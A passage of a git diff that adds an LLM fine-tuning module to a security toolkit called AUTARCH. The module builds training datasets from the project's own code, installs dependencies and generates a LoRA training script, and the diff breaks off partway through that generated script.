b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/llm_trainer.py new file mode 100644 index 0000000..8dc1abe --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/llm_trainer.py @@ -0,0 +1,1447 @@ +""" +AUTARCH LLM Trainer Module +Fine-tune language models on the AUTARCH codebase and convert to GGUF. + +Generates training datasets from source code, trains LoRA adapters, +merges weights, and quantizes to GGUF format for local inference. +""" + +import os +import sys +import subprocess +import json +import re +import ast +import time +import platform +import shutil +from pathlib import Path +from datetime import datetime + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +# Module metadata +DESCRIPTION = "LLM fine-tuning & GGUF training pipeline" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +_is_win = platform.system() == 'Windows' +_PROJECT_ROOT = Path(__file__).parent.parent +_DATA_DIR = _PROJECT_ROOT / 'data' +_MODELS_DIR = _PROJECT_ROOT / 'models' +_TRAINING_DIR = _DATA_DIR / 'training' + + +class LLMTrainer: + """Fine-tuning pipeline: dataset generation, LoRA training, GGUF conversion.""" + + def __init__(self): + self._training_dir = _TRAINING_DIR + self._training_dir.mkdir(parents=True, exist_ok=True) + self._models_dir = _MODELS_DIR + self._project_root = _PROJECT_ROOT + self._status = { + 'phase': 'idle', + 'progress': 0, + 'message': '', + 'log': [], + } + self._training_process = None + + def _log(self, msg, level='info'): + entry = {'time': datetime.now().strftime('%H:%M:%S'), 'msg': msg, 'level': level} + self._status['log'].append(entry) + # Keep last 200 entries + if len(self._status['log']) > 200: + self._status['log'] = self._status['log'][-200:] + + def get_status(self): + return dict(self._status) + + # ==================== DEPENDENCY CHECK ==================== + + def check_dependencies(self): + """Check what training dependencies are installed.""" + deps = {} + checks = { + 'torch': 'import torch; print(torch.__version__)', + 'transformers': 'import transformers; print(transformers.__version__)', + 'peft': 'import peft; print(peft.__version__)', + 'datasets': 'import datasets; print(datasets.__version__)', + 'unsloth': 'import unsloth; print(unsloth.__version__)', + 'bitsandbytes': 'import bitsandbytes; print(bitsandbytes.__version__)', + 'trl': 'import trl; print(trl.__version__)', + 'accelerate': 'import accelerate; print(accelerate.__version__)', + } + for name, cmd in checks.items(): + try: + result = subprocess.run( + [sys.executable, '-c', cmd], + capture_output=True, text=True, timeout=15 + ) + if result.returncode == 0: + deps[name] = {'installed': True, 'version': result.stdout.strip()} + else: + deps[name] = {'installed': False, 'version': None} + except Exception: + deps[name] = {'installed': False, 'version': None} + + # Check for llama.cpp convert script + llama_cpp_paths = [ + _PROJECT_ROOT / 'tools' / 'llama.cpp', + Path.home() / 'llama.cpp', + Path('/usr/local/bin/llama-quantize'), + ] + deps['llama_cpp'] = {'installed': False, 'path': None} + for p in llama_cpp_paths: + if p.exists(): + deps['llama_cpp'] = {'installed': True, 'path': str(p)} + break + + # Check GPU + try: + result = subprocess.run( + [sys.executable, '-c', + 'import torch; print(torch.cuda.is_available()); print(torch.cuda.get_device_name(0) if torch.cuda.is_available() else "none")'], + capture_output=True, text=True, timeout=15 + ) + if result.returncode == 0: + lines = result.stdout.strip().split('\n') + deps['cuda'] = { + 'available': lines[0].strip() == 'True', + 'device': lines[1].strip() if len(lines) > 1 else 'none', + } + else: + deps['cuda'] = {'available': False, 'device': 'none'} + except Exception: + deps['cuda'] = {'available': False, 'device': 'none'} + + # Check Intel XPU + try: + result = subprocess.run( + [sys.executable, '-c', + 'import torch; import intel_extension_for_pytorch; print(torch.xpu.is_available())'], + capture_output=True, text=True, timeout=15 + ) + deps['xpu'] = {'available': result.returncode == 0 and 'True' in result.stdout} + except Exception: + deps['xpu'] = {'available': False} + + return deps + + def install_dependencies(self): + """Install training dependencies via pip.""" + self._status['phase'] = 'installing' + self._status['progress'] = 0 + self._log('Installing training dependencies...') + + packages = [ + 'torch', 'transformers', 'peft', 'datasets', + 'trl', 'accelerate', 'bitsandbytes', + ] + results = [] + for i, pkg in enumerate(packages): + self._status['progress'] = int((i / len(packages)) * 100) + self._status['message'] = f'Installing {pkg}...' + self._log(f'pip install {pkg}') + try: + result = subprocess.run( + [sys.executable, '-m', 'pip', 'install', pkg, '--quiet'], + capture_output=True, text=True, timeout=300 + ) + results.append({ + 'package': pkg, + 'success': result.returncode == 0, + 'output': result.stdout.strip() or result.stderr.strip(), + }) + except Exception as e: + results.append({'package': pkg, 'success': False, 'output': str(e)}) + + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._status['message'] = 'Dependencies installed' + return results + + # ==================== CODEBASE SCANNING ==================== + + def scan_codebase(self): + """Scan the AUTARCH codebase and return file inventory.""" + inventory = { + 'modules': [], + 'core': [], + 'routes': [], + 'templates': [], + 'configs': [], + 'other': [], + } + + scan_dirs = { + 'modules': self._project_root / 'modules', + 'core': self._project_root / 'core', + 'routes': self._project_root / 'web' / 'routes', + 'templates': self._project_root / 'web' / 'templates', + } + + for category, scan_dir in scan_dirs.items(): + if not scan_dir.exists(): + continue + for f in sorted(scan_dir.glob('*.py' if category != 'templates' else '*.html')): + try: + size = f.stat().st_size + lines = f.read_text(encoding='utf-8', errors='replace').count('\n') + inventory[category].append({ + 'name': f.name, + 'path': str(f.relative_to(self._project_root)), + 'size': size, + 'lines': lines, + }) + except Exception: + pass + + # Config files + for pattern in ['*.conf', '*.json', '*.txt']: + for f in self._project_root.glob(pattern): + if f.name.startswith('.'): + continue + try: + inventory['configs'].append({ + 'name': f.name, + 'path': str(f.relative_to(self._project_root)), + 'size': f.stat().st_size, + 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'), + }) + except Exception: + pass + for f in (_DATA_DIR).glob('*.txt'): + try: + inventory['configs'].append({ + 'name': f'data/{f.name}', + 'path': str(f.relative_to(self._project_root)), + 'size': f.stat().st_size, + 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'), + }) + except Exception: + pass + + # Entry point + entry = self._project_root / 'autarch.py' + if entry.exists(): + inventory['other'].append({ + 'name': 'autarch.py', + 'path': 'autarch.py', + 'size': entry.stat().st_size, + 'lines': entry.read_text(encoding='utf-8', errors='replace').count('\n'), + }) + + # JS + js_dir = self._project_root / 'web' / 'static' / 'js' + if js_dir.exists(): + for f in js_dir.glob('*.js'): + try: + inventory['other'].append({ + 'name': f'static/js/{f.name}', + 'path': str(f.relative_to(self._project_root)), + 'size': f.stat().st_size, + 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'), + }) + except Exception: + pass + + total_files = sum(len(v) for v in inventory.values()) + total_lines = sum(item['lines'] for v in inventory.values() for item in v) + return { + 'inventory': inventory, + 'total_files': total_files, + 'total_lines': total_lines, + } + + # ==================== PYTHON MODULE EXTRACTION ==================== + + def _extract_module_info(self, filepath): + """Extract structured info from a Python module file.""" + try: + source = Path(filepath).read_text(encoding='utf-8', errors='replace') + except Exception: + return None + + info = { + 'file': str(Path(filepath).relative_to(self._project_root)), + 'source': source, + 'docstring': '', + 'classes': [], + 'functions': [], + 'metadata': {}, + } + + try: + tree = ast.parse(source) + except SyntaxError: + return info + + # Module docstring + if (tree.body and isinstance(tree.body[0], ast.Expr) + and isinstance(tree.body[0].value, (ast.Constant, ast.Str))): + info['docstring'] = getattr(tree.body[0].value, 'value', + getattr(tree.body[0].value, 's', '')) + + # Module-level assignments (DESCRIPTION, AUTHOR, etc.) + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + for target in node.targets: + if isinstance(target, ast.Name) and isinstance(node.value, (ast.Constant, ast.Str)): + val = getattr(node.value, 'value', getattr(node.value, 's', '')) + if target.id in ('DESCRIPTION', 'AUTHOR', 'VERSION', 'CATEGORY', 'NAME'): + info['metadata'][target.id] = val + + # Classes and methods + for node in ast.iter_child_nodes(tree): + if isinstance(node, ast.ClassDef): + cls_info = { + 'name': node.name, + 'docstring': ast.get_docstring(node) or '', + 'methods': [], + } + for item in node.body: + if isinstance(item, (ast.FunctionDef, ast.AsyncFunctionDef)): + args = [a.arg for a in item.args.args if a.arg != 'self'] + cls_info['methods'].append({ + 'name': item.name, + 'args': args, + 'docstring': ast.get_docstring(item) or '', + 'lineno': item.lineno, + }) + info['classes'].append(cls_info) + + elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): + args = [a.arg for a in node.args.args if a.arg != 'self'] + info['functions'].append({ + 'name': node.name, + 'args': args, + 'docstring': ast.get_docstring(node) or '', + 'lineno': node.lineno, + }) + + return info + + # ==================== DATASET GENERATION ==================== + + def generate_dataset(self, format='sharegpt', include_source=True, + include_qa=True, include_module_creation=True): + """Generate training dataset from the AUTARCH codebase. + + Args: + format: 'sharegpt' (conversations) or 'instruction' (alpaca-style) + include_source: Include code understanding pairs + include_qa: Include Q&A about architecture + include_module_creation: Include module creation examples + + Returns: + Dict with dataset path, sample count, preview + """ + self._status['phase'] = 'generating' + self._status['progress'] = 0 + self._status['message'] = 'Scanning codebase...' + self._log('Starting dataset generation...') + + samples = [] + scan = self.scan_codebase() + all_files = [] + for category, files in scan['inventory'].items(): + for f in files: + all_files.append((category, f)) + + total = len(all_files) + + # ── Phase 1: Code understanding pairs ── + if include_source: + self._log(f'Generating code understanding pairs from {total} files...') + for i, (category, finfo) in enumerate(all_files): + self._status['progress'] = int((i / total) * 30) + filepath = self._project_root / finfo['path'] + if not filepath.exists(): + continue + + if filepath.suffix == '.py': + mod_info = self._extract_module_info(filepath) + if not mod_info: + continue + + # "What does this file do?" pair + desc = mod_info.get('docstring') or mod_info['metadata'].get('DESCRIPTION', '') + if desc: + samples.append(self._make_sample( + f"What does the file `{finfo['path']}` do in AUTARCH?", + f"`{finfo['path']}` — {desc}\n\n" + f"Category: {mod_info['metadata'].get('CATEGORY', 'core')}\n" + f"It contains {len(mod_info['classes'])} class(es) and " + f"{len(mod_info['functions'])} top-level function(s).", + format + )) + + # Class/method documentation + for cls in mod_info['classes']: + if cls['methods']: + method_list = ', '.join(m['name'] for m in cls['methods'] + if not m['name'].startswith('_')) + samples.append(self._make_sample( + f"What methods does the `{cls['name']}` class in " + f"`{finfo['path']}` provide?", + f"The `{cls['name']}` class provides these methods: " + f"{method_list}\n\n" + + (f"Class description: {cls['docstring']}" if cls['docstring'] else ''), + format + )) + + # Individual method docs + for method in cls['methods']: + if method['docstring'] and not method['name'].startswith('_'): + samples.append(self._make_sample( + f"What does `{cls['name']}.{method['name']}()` do?", + f"`{method['name']}({', '.join(method['args'])})` — " + f"{method['docstring']}", + format + )) + + elif filepath.suffix == '.html': + try: + content = filepath.read_text(encoding='utf-8', errors='replace') + # Extract template purpose from title block + title_match = re.search(r'{%\s*block\s+title\s*%}(.+?){%', content) + if title_match: + samples.append(self._make_sample( + f"What is the `{finfo['path']}` template for?", + f"The template `{finfo['path']}` renders the " + f"'{title_match.group(1).strip()}' page in the AUTARCH web dashboard.", + format + )) + except Exception: + pass + + # ── Phase 2: Architecture Q&A ── + if include_qa: + self._status['progress'] = 30 + self._status['message'] = 'Generating architecture Q&A...' + self._log('Generating architecture Q&A pairs...') + samples.extend(self._generate_architecture_qa(format, scan)) + + # ── Phase 3: Module creation examples ── + if include_module_creation: + self._status['progress'] = 60 + self._status['message'] = 'Generating module creation examples...' + self._log('Generating module creation training data...') + samples.extend(self._generate_module_creation_samples(format)) + + # ── Phase 4: System prompt and identity ── + self._status['progress'] = 80 + self._status['message'] = 'Adding identity and system context...' + samples.extend(self._generate_identity_samples(format)) + + # ── Save dataset ── + self._status['progress'] = 90 + self._status['message'] = 'Saving dataset...' + + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + dataset_path = self._training_dir / f'autarch_dataset_{timestamp}.jsonl' + + with open(dataset_path, 'w', encoding='utf-8') as f: + for sample in samples: + f.write(json.dumps(sample, ensure_ascii=False) + '\n') + + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._status['message'] = f'Dataset generated: {len(samples)} samples' + self._log(f'Dataset saved to {dataset_path} ({len(samples)} samples)') + + return { + 'path': str(dataset_path), + 'filename': dataset_path.name, + 'sample_count': len(samples), + 'format': format, + 'preview': samples[:5], + 'size_bytes': dataset_path.stat().st_size, + } + + def _make_sample(self, instruction, response, format='sharegpt'): + """Create a training sample in the specified format.""" + if format == 'sharegpt': + return { + 'conversations': [ + {'from': 'human', 'value': instruction}, + {'from': 'gpt', 'value': response}, + ] + } + else: # alpaca/instruction format + return { + 'instruction': instruction, + 'input': '', + 'output': response, + } + + def _generate_architecture_qa(self, format, scan): + """Generate Q&A pairs about AUTARCH architecture.""" + pairs = [] + + # Project overview + pairs.append(self._make_sample( + "What is AUTARCH?", + "AUTARCH (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, " + "and Hacking) is an autonomous security platform built by darkHal Security Group. " + "It provides a web-based dashboard with modular tools for defense, offense, " + "counter-intelligence, analysis, OSINT, and attack simulation. " + "It features an AI agent (Hal) that can create new modules on demand.", + format + )) + + # Directory structure + pairs.append(self._make_sample( + "What is the directory structure of AUTARCH?", + "AUTARCH has this structure:\n" + "- `modules/` — Plugin modules (Python), each is a standalone tool\n" + "- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py)\n" + "- `web/` — Flask web dashboard (routes/, templates/, static/)\n" + "- `data/` — Databases, configs, JSON files\n" + "- `models/` — LLM model files (GGUF)\n" + "- `autarch.py` — Main entry point\n" + "- `autarch_settings.conf` — Configuration file", + format + )) + + # Module categories + pairs.append(self._make_sample( + "What module categories does AUTARCH support?", + "AUTARCH supports 6 module categories:\n" + "1. **defense** (Blue) — Security hardening, monitoring, firewalls\n" + "2. **offense** (Red) — Penetration testing, exploitation\n" + "3. **counter** (Purple) — Counter-intelligence, threat response\n" + "4. **analyze** (Cyan) — Analysis, forensics, packet inspection\n" + "5. **osint** (Green) — Open source intelligence gathering\n" + "6. **simulate** (Yellow) — Attack simulation, red team exercises", + format + )) + + # Web architecture + pairs.append(self._make_sample( + "How does the AUTARCH web dashboard work?", + "The web dashboard is built with Flask and uses Jinja2 templates with vanilla " + "JavaScript. It runs on port 8181 with HTTPS. Routes are organized as Flask " + "Blueprints in `web/routes/`. The frontend uses SSE (Server-Sent Events) for " + "real-time streaming. The sidebar menu links to category pages (Defense, Offense, " + "Analyze, etc.) which load their respective modules and tools.", + format + )) + + # LLM integration + pairs.append(self._make_sample( + "How does the LLM system work in AUTARCH?", + "AUTARCH supports multiple LLM backends:\n" + "1. **Local GGUF** — llama-cpp-python loads .gguf models from the models/ directory\n" + "2. **HuggingFace Transformers** — loads full models with optional 4-bit quantization\n" + "3. **Claude API** — Anthropic's API for cloud inference\n" + "4. **HuggingFace API** — Inference API for cloud models\n\n" + "The `core/llm.py` module wraps all backends with a unified interface. " + "The AI agent (Hal) uses the local GGUF model with a tool-calling loop defined " + "in `core/agent.py`. It can execute shell commands, read/write files, search code, " + "and create new modules via the `create_module` tool in `core/tools.py`.", + format + )) + + # Config system + pairs.append(self._make_sample( + "How is AUTARCH configured?", + "AUTARCH uses `autarch_settings.conf` (INI format) with sections for: " + "[llama] (GGUF model settings), [autarch] (general), [msf] (Metasploit RPC), " + "[osint] (OSINT settings), [transformers] (HuggingFace models), [claude] (API key), " + "[web] (dashboard host/port/secret), [wireguard] (VPN), [upnp] (port forwarding), " + "and more. The `core/config.py` module reads and writes this file.", + format + )) + + # Module stats + mod_count = len(scan['inventory'].get('modules', [])) + core_count = len(scan['inventory'].get('core', [])) + pairs.append(self._make_sample( + "How many modules and core files does AUTARCH have?", + f"AUTARCH has {mod_count} plugin modules in `modules/` and {core_count} core " + f"framework files in `core/`. Total codebase is {scan['total_files']} files " + f"with {scan['total_lines']} lines of code.", + format + )) + + return pairs + + def _generate_module_creation_samples(self, format): + """Generate training data for teaching the LLM how to create modules.""" + pairs = [] + + # Module creation pattern + pairs.append(self._make_sample( + "How do I create a new AUTARCH module?", + "Every AUTARCH module in `modules/` must have these elements:\n\n" + "1. **Module-level metadata**: DESCRIPTION, AUTHOR, VERSION, CATEGORY\n" + "2. **A `run()` function** — Entry point for CLI mode\n" + "3. **Imports**: `from core.banner import Colors` for terminal colors\n\n" + "```python\n" + '"""\nModule description\n"""\n' + "import os\nimport sys\nimport subprocess\nfrom pathlib import Path\n\n" + "DESCRIPTION = \"What this module does\"\n" + "AUTHOR = \"darkHal\"\nVERSION = \"1.0\"\n" + "CATEGORY = \"defense\" # defense/offense/counter/analyze/osint/simulate\n\n" + "sys.path.insert(0, str(Path(__file__).parent.parent))\n" + "from core.banner import Colors\n\n\n" + "class MyModule:\n" + " def print_status(self, message, status=\"info\"):\n" + " colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, " + "\"warning\": Colors.YELLOW, \"error\": Colors.RED}\n" + " symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n" + " print(f\"{colors.get(status, Colors.WHITE)}" + "[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n" + " def run_cmd(self, cmd, timeout=30):\n" + " try:\n" + " r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n" + " return r.returncode == 0, r.stdout.strip()\n" + " except Exception as e:\n" + " return False, str(e)\n\n\n" + "def run():\n" + " mod = MyModule()\n" + " # Interactive menu or direct execution\n" + "```", + format + )) + + # Scan existing modules for real examples + modules_dir = self._project_root / 'modules' + if modules_dir.exists(): + for mod_file in sorted(modules_dir.glob('*.py')): + if mod_file.name.startswith('__'): + continue + info = self._extract_module_info(mod_file) + if not info or not info['metadata'].get('DESCRIPTION'): + continue + + # "Create a module like X" example + desc = info['metadata'].get('DESCRIPTION', '') + cat = info['metadata'].get('CATEGORY', 'analyze') + source = info['source'] + + # Only use first 3000 chars to keep training samples reasonable + if len(source) > 3000: + source = source[:3000] + '\n# ... (truncated for training)\n' + + pairs.append(self._make_sample( + f"Create an AUTARCH module for: {desc}", + f"Here's a {cat} module that {desc.lower()}:\n\n```python\n{source}\n```", + format + )) + + # Specific module creation scenarios + scenarios = [ + ("Create a defense module that monitors port 5555 for incoming connections", + "port_monitor", "defense", + "Monitors a specific port for incoming TCP connections and alerts on new connections."), + ("Create an OSINT module that looks up domain WHOIS information", + "whois_lookup", "osint", + "Performs WHOIS lookups on domains to gather registration information."), + ("Create an analyze module that checks for open S3 buckets", + "s3_checker", "analyze", + "Checks if AWS S3 buckets are publicly accessible."), + ] + for prompt, name, cat, desc in scenarios: + pairs.append(self._make_sample( + prompt, + f"I'll create the `{name}.py` module in the `{cat}` category.\n\n" + f"```python\n" + f'"""\n{desc}\n"""\n' + f"import os\nimport sys\nimport subprocess\nimport socket\n" + f"from pathlib import Path\n\n" + f"DESCRIPTION = \"{desc}\"\n" + f"AUTHOR = \"darkHal\"\nVERSION = \"1.0\"\n" + f"CATEGORY = \"{cat}\"\n\n" + f"sys.path.insert(0, str(Path(__file__).parent.parent))\n" + f"from core.banner import Colors\n\n\n" + f"class {name.title().replace('_', '')}:\n" + f" def print_status(self, msg, status='info'):\n" + f" colors = {{'info': Colors.CYAN, 'success': Colors.GREEN, " + f"'warning': Colors.YELLOW, 'error': Colors.RED}}\n" + f" symbols = {{'info': '*', 'success': '+', 'warning': '!', 'error': 'X'}}\n" + f" print(f\"{{colors.get(status, Colors.WHITE)}}" + f"[{{symbols.get(status, '*')}}] {{msg}}{{Colors.RESET}}\")\n\n" + f" def run_cmd(self, cmd, timeout=30):\n" + f" try:\n" + f" r = subprocess.run(cmd, shell=True, capture_output=True, " + f"text=True, timeout=timeout)\n" + f" return r.returncode == 0, r.stdout.strip()\n" + f" except Exception as e:\n" + f" return False, str(e)\n\n\n" + f"def run():\n" + f" mod = {name.title().replace('_', '')}()\n" + f" mod.print_status('Starting {desc.lower()}')\n" + f"```\n\n" + f"This module is saved as `modules/{name}.py` and will appear in the " + f"{cat} category on the dashboard.", + format + )) + + return pairs + + def _generate_identity_samples(self, format): + """Generate identity and behavior training data.""" + pairs = [] + + pairs.append(self._make_sample( + "Who are you?", + "I'm Hal, the AI agent powering Project AUTARCH — an autonomous security " + "platform built by darkHal Security Group. I can create new tools and modules, " + "analyze code, run system commands, and help with security operations.", + format + )) + + pairs.append(self._make_sample( + "What can you do?", + "I can:\n" + "- Create new AUTARCH modules on demand (defense, offense, analyze, etc.)\n" + "- Read and analyze source code files\n" + "- Execute shell commands\n" + "- Search the codebase for patterns and files\n" + "- Help with security analysis and tool development\n" + "- Explain how AUTARCH works\n" + "- Write Python code following AUTARCH's module patterns", + format + )) + + pairs.append(self._make_sample( + "What tools do you have access to?", + "I have these tools:\n" + "- `shell` — Execute system commands\n" + "- `read_file` — Read file contents\n" + "- `write_file` — Write files\n" + "- `list_dir` — List directory contents\n" + "- `search_files` — Search for files by name\n" + "- `search_content` — Search file contents (grep)\n" + "- `create_module` — Create a new AUTARCH module (validates and saves to modules/)\n\n" + "When asked to create a module, I use the `create_module` tool which validates " + "the code has the required metadata (DESCRIPTION, AUTHOR, VERSION, CATEGORY) and " + "a `run()` function, then saves it to the `modules/` directory.", + format + )) + + return pairs + + # ==================== LIST DATASETS ==================== + + def list_datasets(self): + """List generated training datasets.""" + datasets = [] + if self._training_dir.exists(): + for f in sorted(self._training_dir.glob('*.jsonl'), reverse=True): + try: + line_count = sum(1 for _ in open(f, encoding='utf-8')) + datasets.append({ + 'filename': f.name, + 'path': str(f), + 'size_bytes': f.stat().st_size, + 'sample_count': line_count, + 'created': datetime.fromtimestamp(f.stat().st_mtime).isoformat(), + }) + except Exception: + pass + return datasets + + def preview_dataset(self, filename, limit=10): + """Preview samples from a dataset file.""" + filepath = self._training_dir / filename + if not filepath.exists(): + return {'error': 'Dataset not found'} + + samples = [] + try: + with open(filepath, 'r', encoding='utf-8') as f: + for i, line in enumerate(f): + if i >= limit: + break + samples.append(json.loads(line)) + except Exception as e: + return {'error': str(e)} + + return {'filename': filename, 'samples': samples, 'total': i + 1 if samples else 0} + + def delete_dataset(self, filename): + """Delete a dataset file.""" + filepath = self._training_dir / filename + if filepath.exists() and filepath.suffix == '.jsonl': + filepath.unlink() + return True + return False + + # ==================== TRAINING ==================== + + def get_training_config(self): + """Get default training configuration.""" + return { + 'base_model': '', + 'dataset': '', + 'output_dir': str(self._training_dir / 'output'), + 'lora_r': 16, + 'lora_alpha': 32, + 'lora_dropout': 0.05, + 'num_epochs': 3, + 'batch_size': 4, + 'gradient_accumulation_steps': 4, + 'learning_rate': 2e-4, + 'max_seq_length': 2048, + 'warmup_ratio': 0.03, + 'use_4bit': True, + 'use_unsloth': False, + 'save_steps': 50, + 'logging_steps': 10, + } + + def browse_models(self, directory=''): + """Browse local directories for model files (HuggingFace format).""" + if not directory: + directory = str(self._models_dir) + target = Path(directory) + if not target.exists(): + return {'error': f'Directory not found: {directory}', 'entries': []} + + entries = [] + try: + for item in sorted(target.iterdir()): + if item.name.startswith('.'): + continue + entry = { + 'name': item.name, + 'path': str(item).replace('\\', '/'), + 'is_dir': item.is_dir(), + } + if item.is_dir(): + # Check if it looks like a HuggingFace model directory + has_config = (item / 'config.json').exists() + has_model = any(item.glob('*.safetensors')) or any(item.glob('*.bin')) + entry['is_model'] = has_config and has_model + elif item.suffix in ('.gguf', '.bin', '.safetensors'): + entry['size_gb'] = round(item.stat().st_size / (1024**3), 2) + entries.append(entry) + except PermissionError: + return {'error': f'Permission denied: {directory}', 'entries': []} + + return { + 'current_dir': str(target).replace('\\', '/'), + 'parent_dir': str(target.parent).replace('\\', '/') if target.parent != target else None, + 'entries': entries, + } + + def start_training(self, config): + """Start LoRA fine-tuning in a background process.""" + if self._training_process and self._training_process.poll() is None: + return {'error': 'Training already in progress'} + + # Check critical dependencies before starting + deps = self.check_dependencies() + missing = [] + for pkg in ['torch', 'transformers', 'peft', 'datasets', 'trl']: + if not deps.get(pkg, {}).get('installed'): + missing.append(pkg) + if missing: + return {'error': f'Missing required packages: {", ".join(missing)}. Go to the Dependencies tab to install them.'} + + self._status['phase'] = 'training' + self._status['progress'] = 0 + self._status['message'] = 'Starting training...' + self._log('Starting LoRA fine-tuning...') + + # Generate the training script + script_path = self._training_dir / 'train_lora.py' + output_dir = Path(config.get('output_dir', str(self._training_dir / 'output'))) + output_dir.mkdir(parents=True, exist_ok=True) + config['output_dir'] = str(output_dir) + + script = self._generate_training_script(config) + script_path.write_text(script, encoding='utf-8') + self._log(f'Training script written to {script_path}') + + # Run in background + log_path = self._training_dir / 'training.log' + try: + with open(log_path, 'w') as log_file: + self._training_process = subprocess.Popen( + [sys.executable, str(script_path)], + stdout=log_file, + stderr=subprocess.STDOUT, + cwd=str(self._project_root), + ) + self._log(f'Training started (PID: {self._training_process.pid})') + return { + 'success': True, + 'pid': self._training_process.pid, + 'log_path': str(log_path), + 'output_dir': str(output_dir), + } + except Exception as e: + self._status['phase'] = 'idle' + self._log(f'Failed to start training: {e}', 'error') + return {'error': str(e)} + + def _generate_training_script(self, config): + """Generate the LoRA training Python script.""" + # Use forward slashes for all paths to avoid Python escape sequence issues + dataset_path = config.get('dataset', '').replace('\\', '/') + base_model = config.get('base_model', '').replace('\\', '/') + output_dir = config.get('output_dir', str(self._training_dir / 'output')).replace('\\', '/') + + use_unsloth = config.get('use_unsloth', False) + + if use_unsloth: + return f'''#!/usr/bin/env python3 +"""AUTARCH LoRA Training Script (Unsloth)""" +import json +from unsloth import FastLanguageModel +from datasets import Dataset +from trl import SFTTrainer +from transformers import TrainingArguments + +# Load model +model, tokenizer = FastLanguageModel.from_pretrained( + model_name="{base_model}", + max_seq_length={config.get('max_seq_length', 2048)}, + load_in_4bit={config.get('use_4bit', True)}, +) + +# Add LoRA adapters +model = FastLanguageModel.get_peft_model( + model, + r={config.get('lora_r', 16)}, + lora_alpha={config.get('lora_alpha', 32)}, + lora_dropout={config.get('lora_dropout', 0.05)}, + target_modules=["q_proj", "k_proj", "v_proj", "o_proj", + "gate_proj", "up_proj", "down_proj"], +) + +# Load dataset +samples = [] +with open("{dataset_path}", "r") as f: + for line in f: + samples.append(json.loads(line)) + +def format_sample(sample): + if "conversations" in sample: + msgs = sample["conversations"] + text = "" + for msg in msgs: + role = "user" if msg["from"] == "human" else "assistant" + text += f"<|im_start|>{{role}}\\n{{msg['value']}}<|im_end|>\\n" + return {{"text": text}} + else: + return {{"text": f"<|im_start|>user\\n{{sample['instruction']}}\\n{{sample.get('input','')}}<|im_end|>\\n<|im_start|>assistant\\n{{sample['output']}}<|im_end|>\\n"}} + +dataset = Dataset.from_list([format_sample(s) for s in samples]) + +# Train +trainer = SFTTrainer( + model=model, + tokenizer=tokenizer, + train_dataset=dataset, + dataset_text_field="text", + max_seq_length={config.get('max_seq_length', 2048)}, + args=TrainingArguments( + output_dir="{output_dir}", + num_train_epochs={config.get('num_epochs', 3)}, + per_device_train_batch_size={config.get('batch_size', 4)}, + gradient_accumulation_steps={config.get('gradient_accumulation_steps', 4)}, + learning_rate={config.get('learning_rate', 2e-4)}, + warmup_ratio={config.get('warmup_ratio', 0.03)}, + save_steps={config.get('save_steps', 50)}, + logging_steps={config.get('logging_steps', 10)}, + fp16=True, + optim="adamw_8bit", + ), +) + +print("Starting training...") +trainer.train() +print("Training complete!") + +# Save +model.save_pretrained("{output_dir}/lora_adapter") +tokenizer.save_pretrained("{output_dir}/lora_adapter") +print(f"LoRA adapter saved to {output_dir}/lora_adapter") +''' + else: + return f'''#!/usr/bin/env python3 +"""AUTARCH LoRA Training Script (Transformers + PEFT)""" +import json +import torch +from datasets import Dataset +from transformers import ( + AutoModelForCausalLM, AutoTokenizer, TrainingArguments, + BitsAndBytesConfig, +) +from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training +from trl import SFTTrainer + +# Quantization config +bnb_config = BitsAndBytesConfig( + load_in_4bit={config.get('use_4bit', True)}, + bnb_4bit_quant_type="nf4", + bnb_4bit_compute_dtype=torch.float16, + bnb_4bit_use_double_quant=True, +) if {config.get('use_4bit', True)} else None + +print("Loading base model: {base_model}") +model = AutoModelForCausalLM.from_pretrained( + "{base_model}", + quantization_config=bnb_config, + device_map="auto", + trust_remote_code=False, +) +tokenizer = AutoTokenizer.from_pretrained("{base_model}", trust_remote_code=False) +if tokenizer.pad_token is None: + tokenizer.pad_token = tokenizer.eos_token + +if {config.get('use_4bit', True)}: + model = prepare_model_for_kbit_training(model) + +# LoRA config +lora_config = LoraConfig( + r={config.get('lora_r', 16)}, + lora_alpha={config.get('lora_alpha', 32)}, + lora_dropout={config.get('lora_dropout', 0.05)}, + target_modules=["q_proj", "k_proj", "v_proj", "o_proj", + "gate_proj", "up_proj", "down_proj"], + bias="none", + task_type="CAUSAL_LM", +) +model = get_peft_model(model, lora_config) +model.print_trainable_parameters() + +# Load dataset +samples = [] +with open("{dataset_path}", "r") as f: + for line in f: + samples.append(json.loads(line)) + +def format_sample(sample): + if "conversations" in sample: + msgs = sample["conversations"] + text = "" + for msg in msgs: + role = "user" if msg["from"] == "human" else "assistant" + text += f"<|im_start|>{{role}}\\n{{msg['value']}}<|im_end|>\\n" + return {{"text": text}} + else: + return {{"text": f"<|im_start|>user\\n{{sample['instruction']}}\\n{{sample.get('input','')}}<|im_end|>\\n<|im_start|>assistant\\n{{sample['output']}}<|im_end|>\\n"}} + +dataset = Dataset.from_list([format_sample(s) for s in samples]) +print(f"Dataset: {{len(dataset)}} samples") + +# Train +trainer = SFTTrainer( + model=model, + tokenizer=tokenizer, + train_dataset=dataset, + dataset_text_field="text", + max_seq_length={config.get('max_seq_length', 2048)}, + args=TrainingArguments( + output_dir="{output_dir}", + num_train_epochs={config.get('num_epochs', 3)}, + per_device_train_batch_size={config.get('batch_size', 4)}, + gradient_accumulation_steps={config.get('gradient_accumulation_steps', 4)}, + learning_rate={config.get('learning_rate', 2e-4)}, + warmup_ratio={config.get('warmup_ratio', 0.03)}, + save_steps={config.get('save_steps', 50)}, + 